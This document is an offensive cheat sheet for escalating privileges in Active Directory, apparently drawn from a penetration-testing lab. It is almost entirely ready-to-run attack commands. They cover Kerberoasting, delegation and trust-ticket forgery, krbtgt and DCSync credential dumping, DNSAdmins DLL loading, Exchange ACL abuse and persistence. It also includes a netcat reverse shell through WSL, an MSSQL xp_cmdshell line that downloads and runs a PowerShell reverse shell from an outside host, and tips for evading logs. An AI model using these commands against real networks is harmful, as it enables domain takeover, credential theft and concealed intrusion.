Escalation

Kerberoasting

Finding Service Accounts

PowerView

Get-NetUser –SPN

ADModule

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} Properties ServicePrincipalName

Request TGS

PowerShell Native

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" 

PowerView

Request-SPNTicket 

Exporting / Cracking

Rubeus / Hashcat

# Roast
Rubeus.exe kerberoast /simple /nowrap [/user:USER] [/domain:DOMAIN] [/dc:DC]

# Crack
hashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force

Mimikatz / TGSRepCrack

# Check they have been granted:
klist

# Export using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"' 

# Crack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\240a10000-student.kirbi 

AS-REP Roasting

Finding Accounts with Kerberos pre-auth disabled

Powerview_dev

Get-DomainUser -PreauthNotRequired -Verbose

ADModule

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Force Disable kerberos preauth

PowerView_dev

# Checking current groups ACL rights:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Disabling kerberos pre-auth for a user:
Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} –Verbose

ASREPRoast

Rubeus

# Get the hashes of all
Rubeus.exe asreproast /format:hashcat /nowrap [/user:USER] [/outfile:FILEPATH] 

# Crack with hashcat
hashcat asreproast.txt -m 18200 /usr/share/wordlists/rockyou.txt --force

Invoke-ASREPRoast

# Use ASREPRoast:
Get-ASREPHash -UserName VPN1user -Verbose

# Do all automatically:
Invoke-ASREPRoast -Verbose

# Crack using John
./john vpn1user.txt --wordlist=wordlist.txt

SetSPN - Targeted Kerberoasting

Enumeration

PowerView_dev

# Viewing our ACL permissions:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Check if user has SPN:
Get-DomainUser -Identity supportuser | select serviceprincipalname

ADModule

# Check if user has SPN already:
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

Setting SPN (must be unique for domain)

PowerView / SharpView

Set-DomainObject -Identity USER -SET @{serviceprincipalname='ops/whatever1'}

## Clean up
Set-DomainObject -Identity USER -clear serviceprincipalname

ADModule

Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}

Extraction and cracking same as kerberoasting.

Unconstrained Delegation

Enumeration

PowerView

Get-NetComputer -UnConstrained

ADModule

Get-ADComputer -Filter {TrustedForDelegation -eq $True} 
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Compromise server then wait, or use printer bug with Rubeus Listening

# Printer bug https://github.com/leechristensen/SpoolSample

# Listen with Rubeus
.\Rubeus.exe monitor /interval:5 

# Use printer bug
.\SpoolSample_v4.5_x64..exe TARGET CAPTURE

# Use ticket
Rubeus.exe ptt /ticket:<base64ticket>

Export tickets and steal DA

Rubeus

# Look at tickets on system (run as system to see all)
Rubeus.exe triage

# Get ticket
Rubeus.exe dump /luid:TICKETLUID /nowrap

# Use ticket
Rubeus.exe ptt [/ticket:BASE64TICKET] [/luid:LUID]

MimiKatz

# Export: 
Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'

# PTT:
Invoke-Mimikatz -Command '"kerberos::ptt C:\Documents\user1\[0;2ceb8b3]-2.kirbi"' 

Constrained Delegation

Enumeration

PowerView_dev

# Which User/Comp
Get-DomainUser –TrustedToAuth 
Get-DomainComputer –TrustedToAuth

# What can the found users/comps do
Get-DomainUser USER -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto
Get-DomainComputer COMP -Properties samaccountname,msds-allowedtodelegateto | select -Expand msds-allowedtodelegateto

ADModule

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Getting Ticket

Need NTLM hash or clear creds for the user with constrained delegation

Rubeus

===DCSYNC===
# On comp with contrained delegation rights for time\dcorp-dc. 
# hash is of the machine account
Rubeus.exe s4u /user:COMP$ /rc4:HASH /impersonateuser:Administrator /msdsspn:"time/DC.DOMAIN.LOCAL" /altservice:LDAP,cifs /ptt

#DCsync
dcsync DOMAIN DOMAIN\krbtgt

===FILESHARE===
# On user with constrained delegation rights for CIFS\COMP
# Hash is of the user with delegation rights
Rubeus.exe s4u /user:USER /rc4:HASH /impersonateuser:Administrator /msdsspn:"CIFS/COMP" /ptt

# Check Access
ls \\COMP\c$\

Kekeo

===DCSYNC===
## Request TGT with Kekeo
tgt::ask /user:COMP$ /domain:DOMAIN /rc4:HASH

## Request TGS with Kekeo
tgs::s4u /tgt:TGT.kirbi /user:Administrator@DOMAIN /service:time/DC.DOMAIN.local|ldap/DC.DOMAIN.local

## Extract Ticket
Invoke-Mimikatz -Command '"kerberos::ptt TGS_.kirbi"'

## DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\krbtgt"'
 
===FILE SHARE===
## Request TGT with Kekeo
kekeo# tgt::ask /user:USER /domain:DOMAIN /rc4:HASH

## Next request TGS with kekeo (note cifs service id on end)
tgs::s4u /tgt:TGT_.kirbi /user:Administrator@DOMAIN /service:cifs/COMP-FQDN
 
## Inject ticket with mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt TGS_.kirbi"'

## Check it worked 
ls \\COMP-FQDN\c$

Resource Based Constrained Delegation

Enumeration

# ACL can be found with BH or invoke-acl scanner / get-acl etc.
# Need to control a machine with SPN or ability to add a domain machine (normal user)
# Also need write permissoion on a computer object

Adding New Computer Object

Import-Module .\Powermad.psd1

New-MachineAccount -Domain offensiveps.powershell.local -DomainController 192.168.2.1 -MachineAccount AttackCompObj -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force) -Verbose

Set RBCD on target

# Import AD Module
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

# Set RBCD on Target
Set-ADComputer <targethostname> -PrincipalsAllowedToDelegateToAccount <AttackCompObj>$ -Verbose 

Control Target

# Create hash of plaintext password if creating a new machine 
.\Rubeus.exe hash /password:<computerobjpassowrd>

# Request TGS 
.\Rubeus.exe s4u /user:AttackCompObj$ /rc4:HASH /msdsspn:http/<target> /impersonateuser:Administrator /ptt

# HTTP allows psremote
Enter-pssession -computername <target>  

LAPS Abuse

Enumeration

LAPS Module

# Easiest done with the LAPS powershell module

# Get OU with powerview
Get-NetOU

# Import module
Import-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1 

# Find the OUs that can read LAPS passwords
Find-AdmPwdExtendedRights -Identity <OU>

PowerView

# Basic but reliable
Get-NetOU -FullData

# Script to get in nice format (unreliable)
Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs | Where-Object { ($_.ObjectType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } | ForEach-Object { $_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID; $_ } 

Abuse

LAPS Module

# Once we have compromised a user that sits within an OU that can read LAPS
Get-AdmPwdPassword -ComputerName <targetmachine>

# After gaining password you can log in to machine as <targetmachine>\Administrator

# If we have SYSTEM on a LAPS machine, we can alter the password expiration time so we can persist longer on the machine.

# If we have DA we can modify ACLs of computer objects to provide attackers with permissions to read passwords in clear.

# Client component (C:\Program Files\LAPS\CSE\AdmPwd.dll) has no integrity check and can be replaced with malicious dll for attacks such as known password, long expiration time etc.

PowerView

# Once we have compromised user with privs:
Get-ADObject -SamAccountName <targetmachine$> | select ExpandProperty ms-mcs-admpwd

ADModule

# Once we have compromised user with privs:
Get-ADComputer -Identity <targetmachine> -Properties msmcs-admpwd | select -ExpandProperty ms-mcs-admpwd 

Just Enough Administration (JEA) Abuse

JEA allows non admin users to psremote using certain psremote configurations. These are restricted but can be in a configuration where you are running as an admin. This means if you break out of the confines of configuration then you are an admin of the box.

Enumeration

AD descriptions. So far havent seen any official way to scan for them.

# Role Capability file (Visible cmdlets etc)
New-PSRoleCapabilityFile -Path .\JEA.psrc

# Session configuration files (user mappings and role definitions)
New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -Path .\JEA.pssc
Register-PSSessionConfiguration -Path .\JEA.pssc -Name 'Persist' -Force 

# If you can find .pssc or .psrc files then they can help breakout. 

Abuse

# Connect to JEA endpoint
Enter-PSSession -ComputerName <target> -ConfigurationName <config name>

# Enum commands available, look them up in docs to see what is possible
Get-Command 

# Some dangerous cmdlets
start-process 
add-computer
new-iissite
set-pssessionconfiguration (set-pssessionconfiguration -Name <profilename> -SecurityDescriptorSDDL <SDDL>)(https://gist.github.com/jborean93/6d9aaf868d1d40344188984ebb431b04)

PowerShell Web Access (PSWA) Abuse

Enumeration

# PSWA can be used to get a powershell session on port 443. 
# Default path
https://hostname/pswa

# Requires admin creds, available cmdlets can be restricted
Get-Command 

Abuse

# Depends on config, but look for sensitive commands and binaries.
Net.exe 
Reg.exe 
Invoke-Command 
Start-Process

# If a breakout is needed refer to JEA as well. 

Configure for Persistance

# Install
Install-WindowsFeature -Name WindowsPowerShellWebAccess

# Configure
Install-PswaWebApplication -useTestCertificate 

# Configure Rules (Wildcard * can be used for all values allowing all users / cmds)
Add-PswaAuthorizationRule -UserName <domain\user> -ComputerName <computer_name> -ConfigurationName <session_configuration_name> 

Windows Subsystem Linux (WSL) Abuse

Enumeration

# Find linux distro on windows host, should see binaries and filesystem

# Can access files like on linux /etc/shadow etc. 

# Worth looking for keytab files. These allow linux to talk kerberos and can be cracked. https://github.com/sosdave/KeyTabExtract
 python3 keytabextract.py /root/ADShare/wslhost.keytab

Abuse

# Run windows binaries with bash
bash.exe -c cmd.exe 

# Run windows binaries with wsl
wsl.exe cmd.exe 

# These run with permissions of WSL process, as current windows user.

# Reverse Shell
wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 192.168.100.1 443 1>/tmp/backpipe

# Can be useful for stealth since its harder to detect malicious activity on WSL. ELF persistance would be very good.

Windows Device Guard Bypass

Enumeration

# With device guard you will be in a shell with no language mode and app whitelisting.

# List policies
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Bypass

# Known also as CLM bypasses, there are several online.
# Typically windows signed binaries allowed, worth trying:
Procdump.exe 
Psexec.exe
Reg.exe

# CLM Bypasses:

DNSAdmins

Enumeration

PowerView

Get-NetGroupMember -GroupName "DNSAdmins"

ADModule

Get-ADGroupMember -Identity DNSAdmins

Abuse

Compromise DNSAdmin user is necessary to perform abuse

# Configure DLL using dnscmd.exe:
dnscmd DC /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll 

# Configure DLL using DNSServer module:
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc Verbose -All 
$dnsettings.ServerLevelPluginDll = "\\172.16.50.100\dll\mimilib.dll" 
Set-DnsServerSetting -InputObject $dnsettings -ComputerName DC -Verbose

# Restart DNS Service
sc \\DC stop dns 
sc \\DC start dns 

# By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log

Microsoft Exchange Abuse

Enumeration

# Exchange groups have high permissions. 
Look for groups such as:
Organization Management (Full control over exchange windows permissions group)
Exchange Windows Permissions (WriteDACL on domain object pre server 2019)
Exchange Trusted SubSystem (can modify DACL of DNSAdmins and others, local admin to exchange servers)

Abuse

# Own user in groups above or own exchange server
# PTH as user or exchange server

# Import ADModule and RACE
Import-Module .\ADModulemaster\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1 
. .\RACE.ps1 

# Give user access to DC
Set-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'DC=techcorp,DC=local' -Server techcorp.local -Verbose

# Give DCSync 
Set-ADACL -SamAccountName DOMAIN\USER DistinguishedName 'DC=techcorp,DC=local' -GUIDRight DCSync -Server techcorp.local -Verbose 

# (As DA)Giving user WriteDACL over windows exhchange group for persistance
Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -SAMAccountName DOMAIN\USER -Verbose 

# (As user now added) Use that priv to modify acl of windows permissions and give write member 
Set-ADACL -SamAccountName DOMAIN\USER -DistinguishedName 'CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=techcorp,DC=local' -GUIDRight WriteMember -Server techcorp.local -Verbose

Cross-Domain Trust Tickets

Get Trust Key

# Mimikatz trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName DC 

# Mimikatz dcsync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\TARGETDOMAIN$"'

Forging Inter-Realm TGT

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-1874506631-3250652063-538504511 /sids:S-15-21-280534878-14999702234-700767426-519 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.LOCAL /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"' 

Command	Function
Kerberos::golden	Mimikatz Module
/domain:DOMAIN.LOCAL	FQDN of the current domain
/sid:S-1-5-21-166606631-311152063-538504511	SID of the current domain
/sids:S-1-5-21-282224878-1496977734-700767426-519	SID of the enterprise admins group of the parent domain
/rc4:HASH	RC4 of the trust key
/user:Administrator	User to impersonate
/service:krbtgt	Target service in the parent domain
/target:TARGETDOMAIN.LOCAL	FQDN of the parent domain
/ticket:C:\AD\Tools\kekeo\trust_tkt.kirbi	Path where ticket is to be saved

Get TGS for Service in target domain (CIFS below, but could be LDAP, HOST and HTTP) using trust ticket

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/DC.DOMAIN 

Use TGS to access service in target (may need to use twice)

# Convert and use TGS
.\kirbikator.exe lsa .\CIFS.DC.DOMAIN.kirbi

# Access
ls \\DC.DOMAIN\c$ 

Cross-Domain using krbtgt Hash

Create Ticket Abusing SID History

# Get krbtgt
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

# Create token
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:HASH /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

In the above command, the mimkatz option "/sids" is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.

Use Ticket

# PTT
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' 

# Access
ls \\DC.DOMAIN.local\c$

gwmi -class win32_operatingsystem -ComputerName dc.DOMAIN.local

Avoiding suspicious logs

Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:DOMAIN.local /sid:S-1-5-211874506631-3219952063-538504511 /groups:516 /sids:S-1-521-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:HASH /ptt"'

# S-1-5-21-2578538781-2508153159-3419410681-516 – Domain Controllers 
# S-1-5-9 – Enterprise Domain Controllers

# Looks like DCs talking between each other and still grants us a ticket for the enterprise DCs.

Cross-Forest Trust Tickets

Get Trust Key

# Mimikatz trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"'

# Mimikatz dump
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Creating inter-forest TGT

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.local /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi"'

Using inter-forest ticket to request TGS

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/TARGET-dc.DOMAIN.local 

Use TGS

# Use TGS to access service
.\kirbikator.exe lsa .\CIFS.TARGET-dc.DOMAIN.local.kirbi

# Found file share:
Invoke-ShareFinder -Domain DOMAIN.local

# Check Access
ls \\TARGET-dc.DOMAIN.local\SharedwithDCorp\

MSSQL Trust Abuse

PowerUpSQL: https://github.com/NetSPI/PowerUpSQL

Finding MSSQL Instances

# Discovery (SPN Scanning): 
Get-SQLInstanceDomain

# Check Accessibility: 
Get-SQLConnectionTestThreaded

# Use together:
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose 

# Gather Information: 
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Enumerating Database Links

PowerUpSQL

# Look for links to remote servers
Get-SQLServerLink -Instance instance-mssql -Verbose

# Enumerating nested database links 
Get-SQLServerLinkCrawl -Instance instance-mssql -Verbose

Manual SQL

# look for links to remote servers
select * from openquery("INSTANCE",'select * from master..sysservers')

# Enumerating nested database links 
select * from openquery("INSTANCE",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')

Enabling xp_cmdshell if rpcout is enabled (disabled by default)

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"

Executing Commands

PowerUpSQL

# Executes command over link
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'whoami'"

# shell
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443"

Manual SQL

# Executes command over nested links
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')

PAM Trust

PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time.

Enumeration

# Import ADModule

# Detect if current forest is PAM trust
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

# Enumerate Shadow Principals
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

# Enumerate if current forest is managed by a bastion forest
Get-ADTrust -Filter {(ForestTransitive -eq $True)} 
# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External = PAM

Abuse

# Find users with shadow principals and names of shadow principal objects
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

# Add a compromised user to the group 
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=gcbsec,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=gcbsec,DC=local"}

# Once compromised you can manage forests with EA permissions.